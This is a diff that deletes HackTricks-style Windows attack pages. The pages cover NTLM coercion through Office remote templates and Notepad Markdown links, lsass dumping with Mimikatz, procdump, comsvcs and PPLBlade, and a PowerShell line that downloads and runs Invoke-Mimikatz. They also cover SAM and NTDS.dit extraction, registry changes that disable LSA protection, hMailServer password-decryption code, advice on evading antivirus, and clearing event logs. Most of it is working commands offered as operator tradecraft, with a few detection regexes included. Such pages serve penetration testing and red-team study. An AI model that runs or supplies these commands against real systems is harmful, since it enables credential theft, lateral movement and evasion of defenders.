-From a detection perspective, repeated `rundll32.exe davclnt.dll,DavSetCookie` executions against many internal systems are a strong signal of **credential validation / spray-like lateral movement prep** rather than normal user behaviour.
-
-### Office remote template injection (.docx/.dotm) to coerce NTLM
-
-Office documents can reference an external template. If you set the attached template to a UNC path, opening the document will authenticate to SMB.
-
-Minimal DOCX relationship changes (inside word/):
-
-1) Edit word/settings.xml and add the attached template reference:
-
-```xml
-<w:attachedTemplate r:id="rId1337" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
-```
-
-2) Edit word/_rels/settings.xml.rels and point rId1337 to your UNC:
-
-```xml
-<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="\\\\10.10.14.2\\share\\template.dotm" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships"/>
-```
-
-3) Repack to .docx and deliver. Run your SMB capture listener and wait for the open.
-
-For post-capture ideas on relaying or abusing NTLM, check:
-
-{{#ref}}
-README.md
-{{#endref}}
-
-
-## References
-- [HTB: Breach – Writable share lures + Responder capture → NetNTLMv2 crack → Kerberoast svc_mssql](https://0xdf.gitlab.io/2026/02/10/htb-breach.html)
-- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
-- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
-- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
-- [MSRC – Microsoft mitigates Outlook EoP (CVE‑2023‑23397) and explains the NTLM leak via PidLidReminderFileParameter](https://www.microsoft.com/en-us/msrc/blog/2023/03/microsoft-mitigates-outlook-elevation-of-privilege-vulnerability/)
-- [Cymulate – Zero‑click, one NTLM: Microsoft security patch bypass (CVE‑2025‑50154)](https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/)
-- [TrustedSec – LnkMeMaybe: A Review of CVE‑2026‑25185](https://trustedsec.com/blog/lnkmemaybe-a-review-of-cve-2026-25185)
-- [TrustedSec LnkMeMaybe tooling](https://github.com/trustedsec/LnkMeMaybe)
-- [Rapid7 – When IT Support Calls: Dissecting a ModeloRAT Campaign from Teams to Domain Compromise](https://www.rapid7.com/blog/post/tr-it-support-dissecting-modelorat-campaign-microsoft-teams-compromise)
-- [Microsoft Learn – davclnt.h header](https://learn.microsoft.com/en-us/windows/win32/api/davclnt/)
-- [Splunk – Windows Rundll32 WebDAV Request](https://research.splunk.com/endpoint/320099b7-7eb1-4153-a2b4-decb53267de2/)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/protocol-handler-shell-execute-abuse.md b/src/windows-hardening/protocol-handler-shell-execute-abuse.md
deleted file mode 100644
index edf3a52d1c7..00000000000
--- a/src/windows-hardening/protocol-handler-shell-execute-abuse.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
-
-{{#include ../banners/hacktricks-training.md}}
-
-Modern Windows applications that render Markdown/HTML often turn user-supplied links into clickable elements and hand them to `ShellExecuteExW`. Without strict scheme allowlisting, any registered protocol handler (e.g., `file:`, `ms-appinstaller:`) can be triggered, leading to code execution in the current user context.
-
-## ShellExecuteExW surface in Windows Notepad Markdown mode
-- Notepad chooses Markdown mode **only for `.md` extensions** via a fixed string comparison in `sub_1400ED5D0()`.
-- Supported Markdown links:
-  - Standard: `[text](target)`
-  - Autolink: `<target>` (rendered as `[target](target)`), so both syntaxes matter for payloads and detections.
-- Link clicks are processed in `sub_140170F60()`, which performs weak filtering and then calls `ShellExecuteExW`.
-- `ShellExecuteExW` dispatches to **any configured protocol handler**, not just HTTP(S).
-
-### Payload considerations
-- Any `\\` sequences in the link are **normalized to `\`** before `ShellExecuteExW`, impacting UNC/path crafting and detection.
-- `.md` files are **not associated with Notepad by default**; the victim must still open the file in Notepad and click the link, but once rendered, the link is clickable.
-- Dangerous example schemes:
-  - `file://` to launch a local/UNC payload.
-  - `ms-appinstaller://` to trigger App Installer flows. Other locally registered schemes may also be abusable.
-
-### Minimal PoC Markdown
-```markdown
-[run](file://\\192.0.2.10\\share\\evil.exe)
-<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
-```
-
-### Exploitation flow
-1. Craft a **`.md` file** so Notepad renders it as Markdown.
-2. Embed a link using a dangerous URI scheme (`file:`, `ms-appinstaller:`, or any installed handler).
-3. Deliver the file (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB or similar) and convince the user to open it in Notepad.
-4. On click, the **normalized link** is handed to `ShellExecuteExW` and the corresponding protocol handler executes the referenced content in the user’s context.
-
-## Detection ideas
-- Monitor transfers of `.md` files over ports/protocols that commonly deliver documents: `20/21 (FTP)`, `80 (HTTP)`, `443 (HTTPS)`, `110 (POP3)`, `143 (IMAP)`, `25/587 (SMTP)`, `139/445 (SMB/CIFS)`, `2049 (NFS)`, `111 (portmap)`.
-- Parse Markdown links (standard and autolink) and look for **case-insensitive** `file:` or `ms-appinstaller:`.
-- Vendor-guided regexes to catch remote resource access:
-```
-(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
-(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
-```
-- Patch behavior reportedly **allowlists local files and HTTP(S)**; anything else reaching `ShellExecuteExW` is suspicious. Extend detections to other installed protocol handlers as needed, since attack surface varies by system.
-
-## References
-- [CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad](https://www.thezdi.com/blog/2026/2/19/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad)
-- [CVE-2026-20841 PoC](https://github.com/BTtea/CVE-2026-20841-PoC)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md
deleted file mode 100644
index fb296cc110b..00000000000
--- a/src/windows-hardening/stealing-credentials/README.md
+++ /dev/null
@@ -1,448 +0,0 @@
-# Stealing Windows Credentials
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Credentials Mimikatz
-
-```bash
-#Elevate Privileges to extract the credentials
-privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
-token::elevate
-#Extract from lsass (memory)
-sekurlsa::logonpasswords
-#Extract from lsass (service)
-lsadump::lsa /inject
-#Extract from SAM
-lsadump::sam
-#One liner
-mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
-```
-
-**Find other things that Mimikatz can do in** [**this page**](credentials-mimikatz.md)**.**
-
-### Invoke-Mimikatz
-
-```bash
-IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
-Invoke-Mimikatz -DumpCreds #Dump creds from memory
-Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
-```
-
-[**Learn about some possible credentials protections here.**](credentials-protections.md) **This protections could prevent Mimikatz from extracting some credentials.**
-
-## Credentials with Meterpreter
-
-Use the [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **that** I have created to **search for passwords and hashes** inside the victim.
-
-```bash
-#Credentials from SAM
-post/windows/gather/smart_hashdump
-hashdump
-
-#Using kiwi module
-load kiwi
-creds_all
-kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
-
-#Using Mimikatz module
-load mimikatz
-mimikatz_command -f "sekurlsa::logonpasswords"
-mimikatz_command -f "lsadump::lsa /inject"
-mimikatz_command -f "lsadump::sam"
-```
-
-## Bypassing AV
-
-### Procdump + Mimikatz
-
-As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender.\
-You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally** from the dump.
-
-You could also use [SharpDump](https://github.com/GhostPack/SharpDump).
-
-```bash:Dump lsass
-#Local
-C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
-#Remote, mount https://live.sysinternals.com which contains procdump.exe
-net use Z: https://live.sysinternals.com
-Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
-# Get it from webdav
-\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
-```
-
-```c:Extract credentials from the dump
-//Load the dump
-mimikatz # sekurlsa::minidump lsass.dmp
-//Extract credentials
-mimikatz # sekurlsa::logonPasswords
-```
-
-This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
-
-**Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead of** the **name lsass.exe.**
-
-### Dumping lsass with **comsvcs.dll**
-
-A DLL named **comsvcs.dll** found in `C:\Windows\System32` is responsible for **dumping process memory** in the event of a crash. This DLL includes a **function** named **`MiniDumpW`**, designed to be invoked using `rundll32.exe`.\
-It is irrelevant to use the first two arguments, but the third one is divided into three components. The process ID to be dumped constitutes the first component, the dump file location represents the second, and the third component is strictly the word **full**. No alternative options exist.\
-Upon parsing these three components, the DLL is engaged in creating the dump file and transferring the specified process's memory into this file.\
-Utilization of the **comsvcs.dll** is feasible for dumping the lsass process, thereby eliminating the need to upload and execute procdump. This method is described in detail at [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords).
-
-The following command is employed for execution:
-
-```bash
-rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
-```
-
-**You can automate this process with** [**lssasy**](https://github.com/Hackndo/lsassy)**.**
-
-### **Dumping lsass with Task Manager**
-
-1. Right click on the Task Bar and click on Task Manager
-2. Click on More details
-3. Search for "Local Security Authority Process" process in the Processes tab
-4. Right click on "Local Security Authority Process" process and click on "Create dump file".
-
-### Dumping lsass with procdump
-
-[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) is a Microsoft signed binary which is a part of [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) suite.
-
-```
-Get-Process -Name LSASS
-.\procdump.exe -ma 608 lsass.dmp
-```
-
-## Dumpin lsass with PPLBlade
-
-[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) is a Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.
-
-**Key functionalities**:
-
-1. Bypassing PPL protection
-2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms
-3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)
-
-```bash
-PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
-```
-
-## LalsDumper – SSP-based LSASS dumping without MiniDumpWriteDump
-
-Ink Dragon ships a three-stage dumper dubbed **LalsDumper** that never calls `MiniDumpWriteDump`, so EDR hooks on that API never fire:
-
-1. **Stage 1 loader (`lals.exe`)** – searches `fdp.dll` for a placeholder consisting of 32 lower-case `d` characters, overwrites it with the absolute path to `rtu.txt`, saves the patched DLL as `nfdp.dll`, and calls `AddSecurityPackageA("nfdp","fdp")`. This forces **LSASS** to load the malicious DLL as a new Security Support Provider (SSP).
-2. **Stage 2 inside LSASS** – when LSASS loads `nfdp.dll`, the DLL reads `rtu.txt`, XORs each byte with `0x20`, and maps the decoded blob into memory before transferring execution.
-3. **Stage 3 dumper** – the mapped payload re-implements MiniDump logic using **direct syscalls** resolved from hashed API names (`seed = 0xCD7815D6; h ^= (ch + ror32(h,8))`). A dedicated export named `Tom` opens `%TEMP%\<pid>.ddt`, streams a compressed LSASS dump into the file, and closes the handle so exfiltration can happen later.
-
-Operator notes:
-
-* Keep `lals.exe`, `fdp.dll`, `nfdp.dll`, and `rtu.txt` in the same directory. Stage 1 rewrites the hard-coded placeholder with the absolute path to `rtu.txt`, so splitting them breaks the chain.
-* Registration happens by appending `nfdp` to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`. You can seed that value yourself to make LSASS reload the SSP every boot.
-* `%TEMP%\*.ddt` files are compressed dumps. Decompress locally, then feed them to Mimikatz/Volatility for credential extraction.
-* Running `lals.exe` requires admin/SeTcb rights so `AddSecurityPackageA` succeeds; once the call returns, LSASS transparently loads the rogue SSP and executes Stage 2.
-* Removing the DLL from disk does not evict it from LSASS. Either delete the registry entry and restart LSASS (reboot) or leave it for long-term persistence.
-
-## CrackMapExec
-
-### Dump SAM hashes
-
-```
-cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
-```
-
-### Dump LSA secrets
-
-```
-cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
-```
-
-### Dump the NTDS.dit from target DC
-
-```
-cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
-#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
-```
-
-### Dump the NTDS.dit password history from target DC
-
-```
-#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
-```
-
-### Show the pwdLastSet attribute for each NTDS.dit account
-
-```
-#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
-```
-
-## Stealing SAM & SYSTEM
-
-This files should be **located** in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM._ But **you cannot just copy them in a regular way** because they protected.
-
-### From Registry
-
-The easiest way to steal those files is to get a copy from the registry:
-
-```
-reg save HKLM\sam sam
-reg save HKLM\system system
-reg save HKLM\security security
-```
-
-**Download** those files to your Kali machine and **extract the hashes** using:
-
-```
-samdump2 SYSTEM SAM
-impacket-secretsdump -sam sam -security security -system system LOCAL
-```
-
-### Volume Shadow Copy
-
-You can perform copy of protected files using this service. You need to be Administrator.
-
-#### Using vssadmin
-
-vssadmin binary is only available in Windows Server versions
-
-```bash
-vssadmin create shadow /for=C:
-#Copy SAM
-copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
-#Copy SYSTEM
-copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
-#Copy ntds.dit
-copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
-
-# You can also create a symlink to the shadow copy and access it
-mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
-```
-
-But you can do the same from **Powershell**. This is an example of **how to copy the SAM file** (the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file:
-
-```bash
-$service=(Get-Service -name VSS)
-if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
-$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
-$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
-cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
-cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
-cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
-$volume.Delete();if($notrunning -eq 1){$service.Stop()}
-```
-
-Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
-
-### Invoke-NinjaCopy
-
-Finally, you could also use the [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) to make a copy of SAM, SYSTEM and ntds.dit.
-
-```bash
-Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
-```
-
-## **Active Directory Credentials - NTDS.dit**
-
-The **NTDS.dit** file is known as the heart of **Active Directory**, holding crucial data about user objects, groups, and their memberships. It's where the **password hashes** for domain users are stored. This file is an **Extensible Storage Engine (ESE)** database and resides at **_%SystemRoom%/NTDS/ntds.dit_**.
-
-Within this database, three primary tables are maintained:
-
-- **Data Table**: This table is tasked with storing details about objects like users and groups.
-- **Link Table**: It keeps track of relationships, such as group memberships.
-- **SD Table**: **Security descriptors** for each object are held here, ensuring the security and access control for the stored objects.
-
-More information about this: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
-
-Windows uses _Ntdsa.dll_ to interact with that file and its used by _lsass.exe_. Then, **part** of the **NTDS.dit** file could be located **inside the `lsass`** memory (you can find the latest accessed data probably because of the performance improve by using a **cache**).
-
-#### Decrypting the hashes inside NTDS.dit
-
-The hash is cyphered 3 times:
-
-1. Decrypt Password Encryption Key (**PEK**) using the **BOOTKEY** and **RC4**.
-2. Decrypt tha **hash** using **PEK** and **RC4**.
-3. Decrypt the **hash** using **DES**.
-
-**PEK** have the **same value** in **every domain controller**, but it is **cyphered** inside the **NTDS.dit** file using the **BOOTKEY** of the **SYSTEM file of the domain controller (is different between domain controllers)**. This is why to get the credentials from the NTDS.dit file **you need the files NTDS.dit and SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
-
-### Copying NTDS.dit using Ntdsutil
-
-Available since Windows Server 2008.
-
-```bash
-ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
-```
-
-You could also use the [**volume shadow copy**](#stealing-sam-and-system) trick to copy the **ntds.dit** file. Remember that you will also need a copy of the **SYSTEM file** (again, [**dump it from the registry or use the volume shadow copy**](#stealing-sam-and-system) trick).
-
-### **Extracting hashes from NTDS.dit**
-
-Once you have **obtained** the files **NTDS.dit** and **SYSTEM** you can use tools like _secretsdump.py_ to **extract the hashes**:
-
-```bash
-secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
-```
-
-You can also **extract them automatically** using a valid domain admin user:
-
-```
-secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
-```
-
-For **big NTDS.dit files** it's recommend to extract it using [gosecretsdump](https://github.com/c-sto/gosecretsdump).
-
-Finally, you can also use the **metasploit module**: _post/windows/gather/credentials/domain_hashdump_ or **mimikatz** `lsadump::lsa /inject`
-
-### **Extracting domain objects from NTDS.dit to an SQLite database**
-
-NTDS objects can be extracted to an SQLite database with [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Not only secrets are extracted but also the entire objects and their attributes for further information extraction when the raw NTDS.dit file is already retrieved.
-
-```
-ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
-```
-
-The `SYSTEM` hive is optional but allow for secrets decryption (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). Along with other information, the following data is extracted : user and machine accounts with their hashes, UAC flags, timestamp for last logon and password change, accounts description, names, UPN, SPN, groups and recursive memberships, organizational units tree and membership, trusted domains with trusts type, direction and attributes...
-
-## Lazagne
-
-Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software.
-
-```
-lazagne.exe all
-```
-
-## Other tools for extracting credentials from SAM and LSASS
-
-### Windows credentials Editor (WCE)
-
-This tool can be used to extract credentials from the memory. Download it from: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
-
-### fgdump
-
-Extract credentials from the SAM file
-
-```
-You can find this binary inside Kali, just do: locate fgdump.exe
-fgdump.exe
-```
-
-### PwDump
-
-Extract credentials from the SAM file
-
-```
-You can find this binary inside Kali, just do: locate pwdump.exe
-PwDump.exe -o outpwdump -x 127.0.0.1
-type outpwdump
-```
-
-### PwDump7
-
-Download it from:[ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) and just **execute it** and the passwords will be extracted.
-
-## Mining idle RDP sessions and weakening security controls
-
-Ink Dragon’s FinalDraft RAT includes a `DumpRDPHistory` tasker whose techniques are handy for any red-teamer:
-
-### DumpRDPHistory-style telemetry collection
-
-* **Outbound RDP targets** – parse every user hive at `HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*`. Each subkey stores the server name, `UsernameHint`, and the last write timestamp. You can replicate FinalDraft’s logic with PowerShell:
-
-  ```powershell
-  Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
-      Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
-        ForEach-Object {
-            $server = Split-Path $_.Name -Leaf
-            $user = (Get-ItemProperty $_.Name).UsernameHint
-            "OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
-        }
-  }
-  ```
-
-* **Inbound RDP evidence** – query the `Microsoft-Windows-TerminalServices-LocalSessionManager/Operational` log for Event IDs **21** (successful logon) and **25** (disconnect) to map who administered the box:
-
-  ```powershell
-  Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
-    | Where-Object { $_.Id -in 21,25 } \
-    | Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
-  ```
-
-Once you know which Domain Admin regularly connects, dump LSASS (with LalsDumper/Mimikatz) while their **disconnected** session still exists. CredSSP + NTLM fallback leaves their verifier and tokens in LSASS, which can then be replayed over SMB/WinRM to grab `NTDS.dit` or stage persistence on domain controllers.
-
-### Registry downgrades targeted by FinalDraft
-
-The same implant also tampers with several registry keys to make credential theft easier:
-
-```cmd
-reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
-reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
-reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
-reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
-```
-
-* Setting `DisableRestrictedAdmin=1` forces full credential/ticket reuse during RDP, enabling pass-the-hash style pivots.
-* `LocalAccountTokenFilterPolicy=1` disables UAC token filtering so local admins get unrestricted tokens over the network.
-* `DSRMAdminLogonBehavior=2` lets the DSRM administrator log on while the DC is online, giving attackers another built-in high-privilege account.
-* `RunAsPPL=0` removes LSASS PPL protections, making memory access trivial for dumpers such as LalsDumper.
-
-## hMailServer database credentials (post-compromise)
-
-hMailServer stores its DB password in `C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini` under `[Database] Password=`. The value is Blowfish-encrypted with the static key `THIS_KEY_IS_NOT_SECRET` and 4-byte word endianness swaps. Use the hex string from the INI with this Python snippet:
-
-```python
-from Crypto.Cipher import Blowfish
-import binascii
-
-def swap4(data):
-    return b"".join(data[i:i+4][::-1] for i in range(0, len(data), 4))
-enc_hex = "HEX_FROM_HMAILSERVER_INI"
-enc = binascii.unhexlify(enc_hex)
-key = b"THIS_KEY_IS_NOT_SECRET"
-plain = swap4(Blowfish.new(key, Blowfish.MODE_ECB).decrypt(swap4(enc))).rstrip(b"\x00")
-print(plain.decode())
-```
-
-With the clear-text password, copy the SQL CE database to avoid file locks, load the 32-bit provider, and upgrade if needed before querying hashes:
-
-```powershell
-Copy-Item "C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf" C:\Windows\Temp\
-Add-Type -Path "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v4.0\Desktop\System.Data.SqlServerCe.dll"
-$engine = New-Object System.Data.SqlServerCe.SqlCeEngine("Data Source=C:\Windows\Temp\hMailServer.sdf;Password=[DBPASS]")
-$engine.Upgrade("Data Source=C:\Windows\Temp\hMailServerUpgraded.sdf")
-$conn = New-Object System.Data.SqlServerCe.SqlCeConnection("Data Source=C:\Windows\Temp\hMailServerUpgraded.sdf;Password=[DBPASS]"); $conn.Open()
-$cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT accountaddress,accountpassword FROM hm_accounts"; $cmd.ExecuteReader()
-```
-
-The `accountpassword` column uses the hMailServer hash format (hashcat mode `1421`). Cracking these values can provide reusable credentials for WinRM/SSH pivots.
-## LSA Logon Callback Interception (LsaApLogonUserEx2)
-
-Some tooling captures **plaintext logon passwords** by intercepting the LSA logon callback `LsaApLogonUserEx2`. The idea is to hook or wrap the authentication package callback so credentials are captured **during logon** (before hashing), then written to disk or returned to the operator. This is commonly implemented as a helper that injects into or registers with LSA, and then records each successful interactive/network logon event with the username, domain and password.
-
-Operational notes:
-- Requires local admin/SYSTEM to load the helper in the authentication path.
-- Captured credentials appear only when a logon occurs (interactive, RDP, service, or network logon depending on the hook).
-
-## SSMS Saved Connection Credentials (sqlstudio.bin)
-
-SQL Server Management Studio (SSMS) stores saved connection information in a per-user `sqlstudio.bin` file. Dedicated dumpers can parse the file and recover saved SQL credentials. In shells that only return command output, the file is often exfiltrated by encoding it as Base64 and printing it to stdout.
-
-```cmd
-certutil -encode sqlstudio.bin sqlstudio.b64
-type sqlstudio.b64
-```
-
-On the operator side, rebuild the file and run the dumper locally to recover credentials:
-
-```bash
-base64 -d sqlstudio.b64 > sqlstudio.bin
-```
-
-## References
-
-- [Unit 42 – An Investigation Into Years of Undetected Operations Targeting High-Value Sectors](https://unit42.paloaltonetworks.com/cl-unk-1068-targets-critical-sectors/)
-- [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html)
-- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
deleted file mode 100644
index 91c5423e289..00000000000
--- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
+++ /dev/null
@@ -1,248 +0,0 @@
-# Mimikatz
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-**This page is based on one from [adsecurity.org](https://adsecurity.org/?page_id=1821)**. Check the original for further info!
-
-## LM and Clear-Text in memory
-
-From Windows 8.1 and Windows Server 2012 R2 onwards, significant measures have been implemented to safeguard against credential theft:
-
-- **LM hashes and plain-text passwords** are no longer stored in memory to enhance security. A specific registry setting, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ must be configured with a DWORD value of `0` to disable Digest Authentication, ensuring "clear-text" passwords are not cached in LSASS.
-
-- **LSA Protection** is introduced to shield the Local Security Authority (LSA) process from unauthorized memory reading and code injection. This is achieved by marking the LSASS as a protected process. Activation of LSA Protection involves:
-  1. Modifying the registry at _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ by setting `RunAsPPL` to `dword:00000001`.
-  2. Implementing a Group Policy Object (GPO) that enforces this registry change across managed devices.
-
-Despite these protections, tools like Mimikatz can circumvent LSA Protection using specific drivers, although such actions are likely to be recorded in event logs.
-
-On modern workstations this matters even more because **Credential Guard is enabled by default on many Windows 11 22H2+ and Windows Server 2025 domain-joined, non-DC systems**, while **LSASS-as-PPL is enabled by default on fresh Windows 11 22H2+ installs**. In practice, this means `sekurlsa::logonpasswords` often yields less material than older tradecraft expected and operators increasingly pivot to **offline minidumps**, **Kerberos key extraction (`sekurlsa::ekeys`)**, or **CloudAP/PRT-oriented modules**. For the protection side, check [Windows credentials protections](credentials-protections.md).
-
-### Counteracting SeDebugPrivilege Removal
-
-Administrators typically have SeDebugPrivilege, enabling them to debug programs. This privilege can be restricted to prevent unauthorized memory dumps, a common technique used by attackers to extract credentials from memory. However, even with this privilege removed, the TrustedInstaller account can still perform memory dumps using a customized service configuration:
-
-```bash
-sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
-sc start TrustedInstaller
-```
-
-This allows the dumping of the `lsass.exe` memory to a file, which can then be analyzed on another system to extract credentials:
-
-```
-# privilege::debug
-# sekurlsa::minidump lsass.dmp
-# sekurlsa::logonpasswords
-```
-
-## Mimikatz Options
-
-Event log tampering in Mimikatz involves two primary actions: clearing event logs and patching the Event service to prevent logging of new events. Below are the commands for performing these actions:
-
-#### Clearing Event Logs
-
-- **Command**: This action is aimed at deleting the event logs, making it harder to track malicious activities.
